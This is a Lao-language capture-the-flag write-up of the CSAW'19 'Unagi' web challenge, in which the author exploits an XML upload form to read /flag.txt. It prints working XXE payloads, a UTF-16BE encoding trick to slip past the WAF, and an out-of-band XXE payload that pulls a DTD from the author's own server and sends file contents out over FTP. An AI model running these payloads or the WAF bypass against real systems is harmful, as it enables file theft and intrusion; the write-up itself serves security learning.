CSAW’19 | UNAGI | WAF ກໍ່ເອົາບໍ່ຢູ່, OOB-XML ເທື່ອທຳອິດໃນຊີວິດ [Web][Write-up]
ສະຫລຸບ: CSAW’19 UNAGI ນີ້ຈະເປັນໂຈດໃນໝວດເວັບ, ໂຈດຈະມີເວັບມາໃຫ້ເຮົາເຂົ້າເມື່ອສຳຫຼວດໜ້າເວັບຕ່າງໆມັນຈະບອກວ່າມີ flag ຢູ່ທີ່ /flag.txt ແລະໜ້າອັບໂຫຼດສຳລັບອັບໂຫຼດ user ທີ່ເປັນໄຟລ໌ XML, ສິ່ງທີ່ເຮົາເຮັດຄືໃຊ້ເຕັກນິກຊື່ວ່າ OOB-XXE ເພື່ອທຳການອ່ານ file ທີ່ຢູ່ path /flag.txt ສຳລັບ Developer ທົ່ວໄປທີ່ເຄີຍເຫັນ XML ຜ່ານຫູຜ່ານຕາມາແນ່ແລ້ວກະຊິເຫັນວ່າມັນອ່ານງ່າຍໃຊ້ງ່າຍ ໜ້າຕາບໍ່ມີພິດມີໄພ ແຕ່ບໍ່ຮູ້ສະແລ້ວວ່າ XML ນີ້ແລະມັນດຶກໃນ ສາມາດເຮັດໃຫ້ເກີດຊ່ອງໂຫວ່ທີ່ຫຼາກຫຼາຍບໍ່ວ່າຈະ SSRF, LFI, RCE ລ້ວນແຕ່ສາມາດເກີດຂຶ້ນຍ້ອນ XML ຜ່ານ XML Parser ໄດ້ໝົດສະນັ້ນຂໍຢ້ຳອີກເທື່ອວ່າ Never Trust User
Description ຂອງໂຈດນີ້ບໍ່ໄດ້ບອກລາຍລະອຽດຫຍັງຫຼາຍມີແຕ່ໃຫ້ link ເຂົ້າໄປເວັບທີ່ເປັນໂຈດ ເມື່ອເຂົ້າມາແລ້ວກໍ່ຈະມີໜ້າຕາປະມານນີ້
ມີຢູ່ 4 ໜ້າທີ່ມີປະໂຫຍດຈະມີຢູ່ 2 ໜ້າຄື Upload ແລະ About
ໃນໜ້າ About ຈະບອກເຮົາວ່າ flag ເຮົາຢູ່ /flag.txt
ໜ້າ Upload ກໍ່ມີ form ໃຫ້ເຮົາອັບໂຫຼດໄຟລ໌ ແລະ file ຕົວຢ່າງສຳລັບອັບໂຫຼດເມື່ອເປີດເບິ່ງໄຟລ໌ example.xml ແລ້ວຈະໄດ້ໄຟລ໌ທີ່ເປັນ XML ແບບນີ້
<?xml version='1.0'?>
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name> Alice</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
</user>
</users>
ລອງເອົາໄຟລ໌ນີ້ອັບໂຫຼດເຂົ້າໄປ
ໂອເຄ! ອັບໂຫຼດໄດ້, ແນ່ນອນເມື່ອເຮົາໄດ້ເຮັດໂຈດກ່ຽວກັບ XML ແບບນີ້ ວິທີໂຈມຕີກໍ່ບໍ່ແມ່ນຫຍັງອື່ນເລີຍນອກຈາກ XXE ຫຼື XML External Entity ໜຶ່ງໃນຊ່ອງໂຫວ່ທີ່ຢູ່ໃນ OWASP TOP 10 [ອ່ານລາຍລະອຽດເພີ່ມເຕີມ]
ຂັ້ນຕອນການໂຈມຕີ
ມາດັດແກ້ໄຟລ໌ XML example.xml(ໄຟລ໌ໂຕຢ່າງທີ່ມັນໃຫ້ມາ) ເພື່ອໃຫ້ມັນໄປອ່ານໄຟລ໌ຢູ່ /flag.txt
<?xml version='1.0'?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>&xxe;</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
</user>
</users>
ອັບໂຫລດໄຟລ໌ຂຶ້ນ server ເລີຍວ່າຜົນຈະເປັນແບບໃດ໊
ປາກົດວ່າຕິດ WAF (Web Application Firewall)!! ບໍ່ສາມາດອັບໂຫຼດຂຶ້ນໄປແບບນີ້ໄດ້
ຕ້ອງຊອກຫາວິທີ bypass WAF ກໍ່ໄປຄົ້ນຫາໃນ Google ຕາມ style Noobmaster ກໍ່ເຫັນວ່າເຮົາສາມາດ bypass WAF ດ້ວຍການແປງ file XML ເຮົາຈາກ UTF-8 ໄປເປັນ UTF-16BE
ເຮົາສາມາດແປງໄປໄດ້ດ້ວຍຄຳສັ່ງ
# cat example.xml | iconv -f UTF-8 -t UTF-16BE > payload.xml
ບາດນີ້ເຮົາລອງອັບໂຫຼດໄຟລ໌ payload.xml ຂຶ້ນໄປແລ້ວກໍ່ boom! ໄດ້ fla.. ເອີ້ຍໄດ້ A ມາ 20 ໂຕ?
ຄິດວ່າໄດ້ແລ້ວ ແຕ່ກໍ່ຍັງບໍ່ໄດ້ອີກກກ ໂອ້ຍ! ເຫັນວ່າເຮົາອ່ານໄຟລ໌ /flag.txt ໄດ້ແລ້ວ! ແຕ່ຕິດບ່ອນວ່າ ແຕ່ລະຊ່ອງ tag ລະບົບມັນ Limit ໃຫ້ສະແດງອອກມາໜ້າຈໍ 20 ໂຕອັກສອນເທົ່ານັ້ນ T-T flag ໜ້າຈະຢູ່ຫຼັງຈາກພວກໂຕອັກສອນ A ພວກນີ້ລ່ະ ບາດນີ້ເຮົາຈະເຮັດຈັ່ງໃດ໊ຈຶ່ງຈະອ່ານໄດ້
ກໍ່ໃຊ້ເວລາງົມໄປຫຼາຍຊົ່ວໂມງເຕີບ ຈົນມາເຫັນວິທີໜຶ່ງເອີ້ນວ່າ Out-of-band XML External Entity (OOB-XML) ຫຼື ອີກຊື່ເອີ້ນວ່າ Blind XXE ວິທີນີ້ຈະຕ່າງຈາກທີ່ເຮົາເຮັດຜ່ານມາກິນີ້ ກິນີ້ເອີ້ນວ່າ In-band XXE ຈະເຮັດວຽກທຸກຢ່າງໃນໄຟລ໌ດຽວ ແຕ່ໂຕນີ້ຈະມີການຮ້ອງຂໍອ່ານໄຟລ໌ dtd ຈາກ server attacker [ແນະນຳອ່ານເພີ່ມຕື່ມ]
ແລະ ຫຼັງຈາກທີ່ຊອກວິທີ bypass length ບໍ່ໄດ້ຈັກເທື່ອກໍ່ຫັນມາຊອກຫາວິທີໃໝ່ ກໍ່ມີ idea ໜຶ່ງເຂົ້າມາທັນທີວ່າເຮົາອາດຈະສາມາດສົ່ງ content ທີ່ອ່ານຈາກ file ມາ server ຂອງເຮົາທີ່ດັກອ່ານ ທຸກໆ request ( ຄ້າຍໆກັບທີ່ຜ່ານ BabyCSP )
ກໍ່ມາລອງເຮັດເລີຍສ້າງໄຟລ໌ evil.dtd ຂຶ້ນມາເອົາຂຶ້ນໄປ server ຂອງເຮົາ
ຈະເຫັນວ່າມີການໃຊ້ PHP wrapper ເພື່ອແປງ flag content ໃຫ້ເປັນ base64 ເນື່ອງຈາກຜູ້ຂຽນຢາກຮັບປະກັນວ່າຈະບໍ່ມີຂໍ້ມູນຫຍັງຕົກຫຼົ່ນ, ແລະ ກ່ອນຈະໄດ້ code ສຸດທ້າຍທາງເທິງນີ້ກໍ່ໄດ້ລອງພະຍາຍາມໃຊ້ HTTP ແລ້ວກໍ່ບໍ່ສາມາດສົ່ງຂໍ້ມູນອອກໄປໄດ້ ເລີຍຫັນໄປໃຊ້ FTP ແທນ.
ເມື່ອເຮົາໄດ້ໄຟລ໌ evil.dtd ຢູ່ server ແລ້ວກໍ່ມາທຳການແກ້ໄຂໄຟລ໌ example.xml ເຮົາເພື່ອໃຫ້ໄປເອີ້ນໄຟລ໌ evil.dtd ມາໃຊ້
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://[REDACTED]/evil.dtd">
%sp;
%param1;
]>
<users>
<user>
<username>xxx</username>
<password>xxx</password>
<name>&exfil;</name>
<email>abc</email>
<group>abc</group>
</user>
</users>
ແປງຈາກ UTF-8 ໄປເປັນ UTF-16BE ຈາກຄຳສັ່ງທີ່ໄດ້ບອກໄວ້ກ່ອນໜ້ານີ້
ຮອດຕອນນີ້ເຮົາພ້ອມທີ່ຈະອັບໂຫຼດແລ້ວ ແຕ່ກໍ່ຢ່າຟ້າວອັບໂຫຼດເທື່ອເພາະເຮົາຕ້ອງໄດ້ໄປ run FTP server ຢູ່ server ເຮົາກ່ອນເພື່ອລໍຖ້າ request ທີ່ຈະສົ່ງເຂົ້າມາ ໃນນີ້ກໍ່ໄດ້ລອງຄົ້ນຫາວ່າມີໂຕໃດອຳນວຍຄວາມສະດວກໃຫ້ເຮົາບໍ່ ກໍ່ໄປເຫັນ repo ອັນໜຶ່ງທີ່ເຮັດມາເພື່ອງານນີ້ໂດຍສະເພາະຊື່ວ່າ xxeserv ຊື່ບົ່ງບອກເລີຍວ່າສຳລັບງານນີ້ໂດຍສະເພາະ ຫະຫະ
ເນື່ອງຈາກໂຕໂປແກມນີ້ຂຽນຂຶ້ນມາດ້ວຍພາສາ Go ກໍ່ທຳການ go build ແລ້ວ ./xxeserv ເລີຍ
ເມື່ອໂຕ FTP server ສະເພາະກິດເຮົາເຮັດວຽກແລ້ວກໍ່ທຳການອັບໂຫຼດໄຟລ໌ payload.xml ໂຕລ່າສຸດເຮົາຂຶ້ນໄປເລີຍຜົນທີ່ໄດ້ແມ່ນ!!!
Yes!!! ໄດ້ Request ມາຈາກ server ໂຈດແລ້ວບໍ່ລໍຊ້າເອົາ Base64 ທີ່ໄດ້ໄປ decode ເລີຍ
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpmbGFne24wd19pJ21fc0BkX2N1el95MHVfZzN0X3RoM19mbDRnX2J1dF9jMG5ncjR0c30KQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE=
ໄດ້ເປັນ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ສຸດທ້າຍແລ້ວ Flag ທີ່ໄດ້ແມ່ນ
flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}
ເອົາໄປ submit ໄດ້ເລີຍ 200 ຄະແນນ ;)
ເປັນໂຈດທີ່ຜູ້ຂຽນບອກເລີຍວ່າຜູ້ຂຽນໄດ້ບົດຮຽນຫຼາຍຢ່າງແທ້ໆ ບໍ່ວ່າຈະເປັນການເຮັດ Blind-XXE ສ່ວນໂຕບໍ່ເຄີຍເຮັດ XXE ຈັກເທື່ອ in-bound XXE ກະບໍ່ເຄີຍຖືວ່າໄດ້ຮຽນຮູ້ຫຼາຍຢ່າງອີ່ຫລີ
ໄວ້ພົບກັນໃນບົດຄວາມຕໍ່ໄປ!
Ref: